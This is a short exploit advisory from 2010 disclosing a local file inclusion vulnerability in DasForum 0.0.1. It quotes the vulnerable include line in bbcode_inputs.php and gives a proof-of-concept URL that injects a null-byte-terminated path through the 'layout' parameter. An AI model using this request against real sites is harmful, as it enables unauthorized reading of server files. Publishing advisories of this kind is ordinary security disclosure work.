21 lines
No EOL
657 B
Text
21 lines
No EOL
657 B
Text
\#'#/
|
|
(-.-)
|
|
--------------------oOO---(_)---OOo-------------------
|
|
| DasForum (layout) Local File Inclusion Exploit |
|
|
| (works only with magic_quotes_gpc = off) |
|
|
------------------------------------------------------
|
|
[!] Discovered: cr4wl3r <cr4wl3r[!]linuxmail.org>
|
|
[!] Download: http://mirror.vocabbuilder.net/savannah/dasforum/
|
|
[!] Version: 0.0.1
|
|
[!] Date: 15.01.2010
|
|
[!] Remote: yes
|
|
|
|
|
|
[!] Vulnerability Code [bbcode_inputs.php] :
|
|
|
|
include("layouts/".$layout."/bbcode_inputs.php");
|
|
|
|
|
|
[!] PoC:
|
|
|
|
[DasForum_path]/bbcode_inputs.php?layout=[LFI%00] |